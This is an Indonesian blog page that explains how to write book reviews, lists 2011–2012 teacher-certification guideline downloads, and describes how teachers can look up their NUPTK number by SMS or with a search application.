Dalam mencari sebuah buku tidak jarang kita disulitkan untuk membeli dan membaca sebuah buku. Sebelum membeli, tentu saja kita ingin tahu kualitas buku tersebut. Untuk mengetahui sejauh mana kualitas sebuah buku cobalah baca resensinya, walaupun tidak 100% mendekati setidaknya 80 persen dari resensi buku menggambarkan seberapa berkualitas buku yang hendak kita beli dan baca.Blog ini dipersembahkan untuk mereka yang ingin mencari dan membeli sebuah buku, namun terlebih dahulu ingin mengetahui kualitasnya dengan membaca resensi buku tersebut.Pengertian ResensiResensi adalah suatu tulisan atau ulasan mengenai nilai sebuah karya atau buku, tulisan / karangan / ulasan mengenai nilai sebuah buku / hasil karya seseorang. Resensi diartikan juga sebagai tinjauan buku / bedah buku / timbangan buku / penilaian buku. Resensi merupakan tulisan yang menyajikan sejumlah informasi tentang sebuah buku.Tujuan resensi adalah menyampaikan kepada para pembaca apakah sebuah buku atau hasil karya itu patut mendapat sambutan dari masyarakat atau tidak.
Sasaran Resensi :
1. Latar Belakang
Sering penulis tidak tahu bagaimana memulai dengan resensi. Akan sangat bermanfaat bila penulis mulai dengan latar belakang buku tersebut. Pada latar belakang ini penulis memulai dengan tema yang kemudian diikuti dengan deskripsi singkat isi buku. Yang dideskripsikan tidak hanya isi saja tetapi juga menyangkut badan mana yang menerbitkan buku, kapan diterbitkan , ketebalan buku, harga, nama pengarang , ketenarannya, buku mana saja yang pernah ditulisnya, atau mengapa ia menulis buku itu.
2. Macam atau Jenis Buku
Penulis resensi harus bisa menunjukkan kepada pembaca, buku yang baru diterbitkan itu berjenis apa? Misalkan termasuk buku cerita detektif , cerita percintaan? buku pengetahuan bahsakah? dan sebagainya.
3. Keunggulan Buku
Mengenai keunggulan buku penulis resensi pertama-tama mempersoalkan organisasinya. Yang dimaksud organisasi adalah kerangka karangan, apakah antarbagian kerangka telah memiliki hubungan yang jelas, urut dari yang mudah ke yang sulit, dari yang sederhana ke yang kompleks dan seterusnya. Yang kedua penulis menelaah isinya. Apakah isi buku itu lebih detail dari penulis lain, masuk akalkah isinya? dsb. Yang ketiga adalah masalah bahasa. Ragam bahasa apa yang digunakan? Mudah dicernakah bagi pelajar, atau bagi semua kalangan? Berbelit-belitkan ? Bahasa yang baik dilihat dari struktur kalimatnya , hubungan antarkalimatnya, serta pilihan kata yang digunakan..Yang terakhir yang disoroti adalah perwajahan (lay out). Perwajahan berkaitan dengan buku secara fisik, pencetakannya, penjilidannya mudah lepas atau tidak, banyak salah cetakkah? gambar cover sesuai dengan isi? . Hal-hal ini bila ditujukan pada tulisan nonfiksi. Jika yang disoroti buku fiksi maka yang diulas dari sisi unsur intrinsik dan ekstrinsik dari buku tersebut. misalnya apa temanya, apakah temanya merupakan temuan baru, sesuai dengan permasalahan yang ada di masyarakat saat ini?, menarikkah masalah yang diangkat?, bagaimna alurnya? konflik-konfliknya menarik bagaimana latarnya, perwatakannya, sudut pandangnya?, gaya ceritanya, dansebagainya.
4. Nilai buku
Maksud dari nilai sebuah karya tidak berkaitan dengan baik buruknya , melainkan berkaitan dengan manfaat buku tersebut bagi pembaca. Setelah membaca buku tersebut apakah pembaca merasa wawasan tentang kehidupan bertambah? Ataukah hidupnya lebih bijaksana, apakah pengetahuan buku tersebut berguna untuk tugas-tugasnya dan lain sebagainya.
Ada yang berpendapat bahwa minimal ada tiga jenis resensi buku :
1. Informatif, maksudnya, isi dari resensi hanya secara singkat dan umum dalam menyampaikan keseluruhan isi buku.
2. Deskriptif, maksudnya, ulasan bersifat detail pada tiap bagian/bab.
3. Kritis, maksudnya, resensi berbentuk ulasan detail dengan metodologi ilmu pengetahuan tertentu. Isi dari resensi biasanya kritis dan objektif dalam menilai isi buku.
Sistematika Resensi

1. Judul resensi
2. Identitas buku yang diresensi
3. Pendahuluan
a. tema
b. ringkasan isi
c. biografi pengarang jika ada
4. Keunggulan buku
Kelebihan / kekurangan buku
5. Penutup
a. Nilai/Manfaat buku bagi pembaca
b. Kesimpulan
Top of Form

Bottom of Form

Rabu, 25 Januari 2012

Panduan Sertifikasi 2014 New

Permendiknas Nomor 11 Tahun 2011
Permendiknas Nomor 11 Tahun 2011 (ukuran file: 90 KB). Total Download : 156319

 SERTIFIKASI GURU 2012,SERTIFIKASI GURU 2012,SERTIFIKASI GURU 2012        
Buku 1 Pedoman Penetapan Peserta tahun 2011    
 
Buku 1 Pedoman Penetapan Peserta Sertifikasi Guru Tahun 2011 (ukuran file: 919 KB). Total Download : 283591


SERTIFIKASI GURU 2012, SERTIFIKASI GURU 2012,SERTIFIKASI GURU 2012    
Pengolahan Berkas Persyaratan untuk Penerbitan SK TP Tahun 2011 utk LPMP

Surat Pengolahan Berkas Persyaratan utk SKTP thn 2011 utk LPMP (ukuran file: 212 KB). Total Download : 66334 
 

SERTIFIKASI GURU 2012,SERTIFIKASI GURU 2012,SERTIFIKASI GURU 2012   

Berkas Persyaratan utk Penerbitan SK TP Thn 2011 utk Dinas Pendidikan

Surat Pemberkasan utk Penerbitan SKTP thn 2011 utk Dinas Pendidikan Kabupaten/Kota (ukuran file: 149 KB). Total Download : 91868


SERTIFIKASI GURU 2012,SERTIFIKASI GURU 2012,SERTIFIKASI GURU 2012        
Pedoman Subsidi Kualifikasi Guru Daerah Terpencil

Pedoman Subsidi Kualifikasi Guru Daerah Terpencil (ukuran file: 386 KB). Total Download : 23697


SERTIFIKASI GURU 2012,SERTIFIKASI GURU 2012,SERTIFIKASI GURU 2012        
Panduan PPG

Panduan Pendidikan Profesi Guru (ukuran file: 531 KB). Total Download : 64729


SERTIFIKASI GURU 2012,SERTIFIKASI GURU 2012,SERTIFIKASI GURU 2012                    
Pedoman Pelaksanaan Peny Tunj Profesi Melalui Dana Transfer Daerah

Pedoman Pelaksanaan Peny Tunj Profesi Melalui Transfer Daerah (ukuran file: 202 KB). Total Download : 68944


SERTIFIKASI GURU 2012,SERTIFIKASI GURU 2012,SERTIFIKASI GURU 2012 
Pedoman Pelaksanaan Peny Tunj Profesi Melalui Dekon

Pedoman Pelaksanaan Peny Tunj Profesi Melalui Dekon (ukuran file: 54 KB). Total Download : 45091


SERTIFIKASI GURU 2012,SERTIFIKASI GURU 2012,SERTIFIKASI GURU 2012                    
Pedoman Pelaksanaan Tugas Guru & Pengawas

Pedoman Pelaksanaan Tugas Guru & Pengawas (ukuran file: 167 KB). Total Download : 41929




SERTIFIKASI GURU 2012,SERTIFIKASI GURU 2012,SERTIFIKASI GURU 2012                                         



















Web Browser NUPTK New 2012

Sehubungan dengan banyaknya Guru yang bertanya-tanya? Bagaimana sich mengetahui NUPTK kita lewat internet atau Online......Disini saya sedikit share tentang cara menggunakan Aplikasi Itu......Demikian dari saya semoga Blog saya ini bermanfaat untuk anda. Terima kasih
Sesuai dengan Permendiknas Nomor 8 Tahun 2005 tentang Organisasi dan Tata Kerja Ditjen PMPTK, pasal 8 menyatakan Direktorat Jenderal Peningkatan Mutu Pendidik dan Tenaga Kependidikan mempunyai tugas merumuskan serta melaksanakan kebijakan dan standardisasi teknis di bidang peningkatan mutu pendidik dan tenaga kependidikan pendidikan anak usia dini, pendidikan dasar, pendidikan menengah, dan pendidikan nonformal. Secara khusus kehadiran UU No. 14 Tahun 2005 tentang Guru dan Dosen semakin memposisikan Ditjen PMPTK pada posisi strategis dalam upaya peningkatan mutu pendidikan di Indonesia
Ditjen PMPTK juga memberikan Nomor Unik Pendidik dan Tenaga Kependidikan (NUPTK) yang terdiri dari 16 digit numerik dan bersifat unik kepada PTK yang memiliki informasi yang baik dan lengkap. Sistem pemberian nomor ini juga dilengkapi dengan proses pencarian PTK yang terhitung ganda (double-counting) akibat mengajar di beberapa sekolah atau bekerja di beberapa instansi pendidikan untuk menghasilkan informasi tabulasi jumlah PTK secara riil.
Untuk mengetahui NUPTK dapat dilakukan dengan 2 cara :
1. NUPTK SMS GETAWAY
Caranya kirim sms ke no: 081218582888  Format Pengiriman:  Nuptk#nama lengkap#tempat lahir#tanggal lahir
Contoh: Nuptk#junaidi abdillah#gresik#12-09-1976
2. NUPTK Browser
Cari nuptk berdasarkan, Provinsi, Kabupaten/Kota, Sekolah, Nama, Tanggal Lahir, Tempat Lahir, dan lain-lain.
Caranya:
  1. Download aplikasi ( Aplikasi telah Expired, kalau anda berminat bisa kirim ke Email Saya yuniarekaputra@yahoo.co.id )
  2. jalankan aplikasi tersebut di komputer anda.
  3. manfaatkan fasilitas search engine berdasarkan nama, sekolah, tempat lahir dan lain-lain.
  4. Untuk pencarian berdasarkan Sekolah/Madrasah, pilih sekolah yang dimaksud kemudian klik tombol Cari. Tekan tombol Detail untuk melihat daftar PTK yang ada di sekolah tersebut.